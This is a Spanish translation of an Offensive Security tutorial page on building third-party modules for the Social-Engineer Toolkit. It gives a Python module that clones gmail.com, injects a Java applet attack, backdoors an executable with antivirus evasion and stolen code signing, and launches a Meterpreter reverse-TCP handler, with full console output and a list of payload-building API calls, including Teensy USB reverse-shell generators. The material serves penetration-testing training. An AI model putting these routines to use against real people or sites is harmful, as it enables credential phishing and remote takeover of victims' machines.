SET - Desarrollo de Modulos

De www.metasploit-es.com.ar

Desarrollando tus propios modulos SET

En la version 1.2 se introdujeron los modulos libreria del nucleo, y la habilidad para añadir modulos creados por terceros en SET. Esencialmente, el directorio localizado en la raiz de SET "modules" puede añadir adiciones o mejoras a SET y añadir contribuciones adicionales al toolkit. La primera cosa notable es que cuando añades un nuevo archivo ".py" al directorio de modulos, automaticamente sera importado en SET bajo "Third Party Modules". Seguidamente un ejemplo de un modulo de pruebas:

  #
  # These are required fields
  #
  import sys
  # switch over to import core
  sys.path.append("src/core")
  # import the core modules
  try: reload(core)
  except: import core
  MAIN="This is a test module"
  AUTHOR="Dave ‘ReL1K’ davek@social-engineer.org"
  # def main(): header is required
  def main():
  core.java_applet_attack("https://gmail.com","443","reports/")
  pause=raw_input("This module has finished completing. Press  to continue")


En este ejemplo, hemos creado un modulo simple que utilizara el vector de ataque java applet, clonara un sitio web y lanzara el ataque para nosotros. Lo maneja creando los payloads Metasploit y todo por nosotros. Definitivamente puedes crear lo que quieras para utilizar las llamadas a funciones construidas en SET o crear las tuyas propias. Ahora si ejecutamos SET:

root@bt:/pentest/exploits/set# ./set

                ..######..########.########
                .##....##.##..........##...
                .##.......##..........##...
                ..######..######......##...
                .......##.##..........##...
                .##....##.##..........##...
                ..######..########....##...
   Welcome to the Social-Engineer Toolkit (SET). Your one
    stop shop for all of your social-engineering needs..

    DerbyCon 2011 Sep30-Oct02 - http://www.derbycon.com

Select from the menu:

1.  Spear-Phishing Attack Vectors
2.  Website Attack Vectors
3.  Infectious Media Generator
4.  Create a Payload and Listener
5.  Mass Mailer Attack
6.  Teensy USB HID Attack Vector
7.  SMS Spoofing Attack Vector
8.  Third Party Modules
9.  Update the Metasploit Framework
10. Update the Social-Engineer Toolkit
11. Help, Credits, and About
12. Exit the Social-Engineer Toolkit

Enter your choice: 8

Welcome to the Social-Engineer Toolkit Third Party Modules menu.

Please read the readme/modules.txt for more information on how to create your
own modules.

1. This is a test module
2. Return to the previous menu.

Enter the module you want to use: 1

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden within a legit executable.
[*] UPX Encoding is set to ON, attempting to pack the executable with UPX encoding.
[*] Digital Signature Stealing is ON, hijacking a legit digital certificate.

[*] Executable created under src/program_junk/ajk1K7Wl.exe

[*] Cloning the website: https://gmail.com
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: m3LrpBcbjm13u
[*] Malicious java applet website prepped for deployment

Site has been successfully cloned and is: reports/
[*] Starting the multi/handler through Metasploit...

                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


       =[ metasploit v3.6.0-dev [core:3.6 api:1.0]
+ -- --=[ 644 exploits - 328 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11638 updated today (2011.01.25)

resource (/pentest/exploits/set/src/program_junk/msf_answerfile)> use multi/handler
resource (/pentest/exploits/set/src/program_junk/msf_answerfile)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (/pentest/exploits/set/src/program_junk/msf_answerfile)> set LHOST 0.0.0.0
LHOST => 0.0.0.0
resource (/pentest/exploits/set/src/program_junk/msf_answerfile)> set LPORT 443
LPORT => 443
resource (/pentest/exploits/set/src/program_junk/msf_answerfile)> exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 0.0.0.0:443
[*] Starting the payload handler...
msf exploit(handler) >
msf exploit(handler) >                
msf exploit(handler) > exit
This module has finished completing. Press  to continue
  • core.meta_path() # Devuelve la ruta al directorio Metasploit en set_config
  • core.grab_ipaddress() # Devuelve tu direccion IP utilizada para los ataques
  • core.check_pexpect() # Comprueba si el modulo Python PEXPECT esta instalado
  • core.check_beautifulsoup() # Comprueba si el modulo Python BeautifulSoup esta instalado
  • core.cleanup_routine() # Borrado de informacion antigua de procesos, archivos, etc
  • core.update_metasploit() # Actualiza el Metasploit framework
  • core.update_set() # Actualiza el Social-Engineer Toolkit
  • core.help_menu() # Muestra el menu de ayuda
  • core.date_time() # Muestra la fecha y la hora
  • core.generate_random_string(low,high) # genera un numero entre el rango bajo y alto (aleatorio). Podrias usar generate_random_string(1,30) y crearias una cadena numerica unica entre 1 y 30 caracteres de largo
  • core.site_cloner(website,exportpath, *args) # clona un sitio web y lo exporta a una ruta especifica. Asi por ejemplo podrias usar

core.site_cloner(“https://gmail.com”,”reports/”) y clonarias el sitio web y lo exportarias al directorio reports

  • core.meterpreter_reverse_tcp_exe(port) # crea un payload inverso meterpreter, solamente haria falta especificar el puerto
  • core.metasploit_listener_start(payload,port) # abre un puerto del meterpreter a la escucha, solamente haria falta especificar el payload (windows/meterpreter/reverse_tcp) y puerto.
  • core.start_web_server(directory) # Inicia un servidor web con raiz en el directorio que le especifiques, por ejemplo

core.start_web_server(“reports”)

  • core.java_applet_attack(website,port,directory) # clona un sitio web, crea la puerta trasera meterpreter, inicia un servidor web y crea el puerto a la escucha. El puerto es donde meterpreter tiene un puerto inverso a la escucha. Ejemplo core.java_applet_attack(“https://gmail.com”,”443”,”reports/”)
  • core.teensy_pde_generator(attack_method) # crea un archivo teensy pde que podras utilizar con el vector de ataque Teensy USB HID. Puedes llamar los siguientes metodos de ataque: beef, powershell down, powershell reverse, java applet, y wscript. Ejemplo: teensy_pde_generator(“powershell_reverse”)



© Offensive Security 2009

Original de www.offensive-security.com
Traducido por cbk999
Herramientas personales